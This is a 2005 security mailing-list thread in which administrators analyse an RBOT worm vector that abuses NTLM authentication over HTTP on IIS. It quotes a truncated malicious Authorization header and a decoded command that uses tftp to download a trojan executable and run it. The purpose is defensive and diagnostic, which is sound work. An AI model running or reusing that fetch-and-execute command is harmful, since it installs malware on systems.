Re: New http attack?

Isn't "-i 0.0.0.0" telling tftp to what interface to bind?

0.0.0.0 is usually a generic address that means to bind to ALL 
interfaces...  I suppose they are just being lazy -- they already know the 
IP address of the server!

-Alex

On Thu, 9 Jun 2005, Ron wrote:

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> Out of curiosity, I notice that when I decode any hit on my IDS with
> that exploit, it ends up with the following command (along with
> shellcode and padding, of course):
>
> cmd /c tftp -i 0.0.0.0 GET wuamkop.exe&start wuamkop.exe&exit
>
> Do you know why it would be "0.0.0.0"?  Is it just failing to get the
> proper ip for the trojan or what?
>
> Thanks,
> Ron
>
>
> Kirby Angell wrote:
>> - From http://isc.sans.org/diary.php?date=2005-06-03:
>>
>> "On a similar note, we've had one report of what looks to be like
>> another RBOT vector, this time SMB over HTTP. An IIS server will accept
>> multiple forms of authentication, including (non-IIS folks cover your
>> eyes, this will hurt) NTLM via base64 encoding. You looked....I warned
>> you! Look for:
>>
>> GET / HTTP/1.0
>> Host: xxx.xxx.xxx.xxx
>> Authorization: Negotiate
>> YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4IQYgOCBAEAQUFBQUFBQUFBQUFBQUFBQ.....
>>
>> All that gibberish can be decoded with good ol' "mimencode -u" to reveal
>> an RBOT tftp download command. The long and short of it is POLP -
>> Principle of Least Privilege. Disable any authentication methods that
>> are unnecessary, especially on your big-bad-world-facing servers. Me, I
>> don't trust anyone to play nicely, inside or out."
>>
>> Keith T. Morgan wrote:
>>
>>>> A google search didn't turn up anything of value on this, so I'm posting
>>>> to the list.  If I've missed something that's common knowledge here, I
>>>> appologize for inverting the signal/noise ratio a bit with this post.
>>>>
>>>> We've seen an attack that triggered a snort bleeding-edge hit for "smb
>>>> over http authentication."  This isn't particularly alarming, but, what
>>>> caught my attention is what appears to be a very large buffer in part of
>>>> the packet.
>>>>
>>>> The ascii decoded capture looks a bit like this:
>>>>
>>>> GET / HTTP/1.0
>>>> Host: obfuscated
>>>> Authorization: Negotiate <what may be an encrypted password>
>>>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB.
>>>>
>>>> This "QUFB" string is repeated for 1400 bytes or so, and I'm assuming
>>>> went beyond the single packet capture I have.
>>>>
>>>> The IIS logs indicate a simple GET / with a 401 response code.
>>>>
>>>> Has anyone seen this "QUFBQUFB" string in a worm, virus, or exploit
>>>> floating around out there somewhere?  I think chances of this being a FP
>>>> are low since we're not using NTLM or windows native/ad authentication
>>>> on this site.
>>>>
>>>>
>>>> -- Keith Morgan
>>>> -- CISSP, MCP, CCSE/CCSA
>>>>
>>>> "Hey Pants... Any advice for getting through turn 1 with 55 motorcycles
>>>> on the grid?"
>>>> "Yeah.  Don't Crash."
>>>> -- Sage motorcycle roadracing advice from Shawn (Pants) Romano
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>>
>>
>>
>> --
>> Thank you,
>>
>> Kirby Angell
>> Get notified anytime your website goes down!
>> http://www.alertra.com
>> key: 9004F4C0
>> fingerprint: DD7E E88D 7F50 2A1E 229D  836A DB5B A751 9004 F4C0
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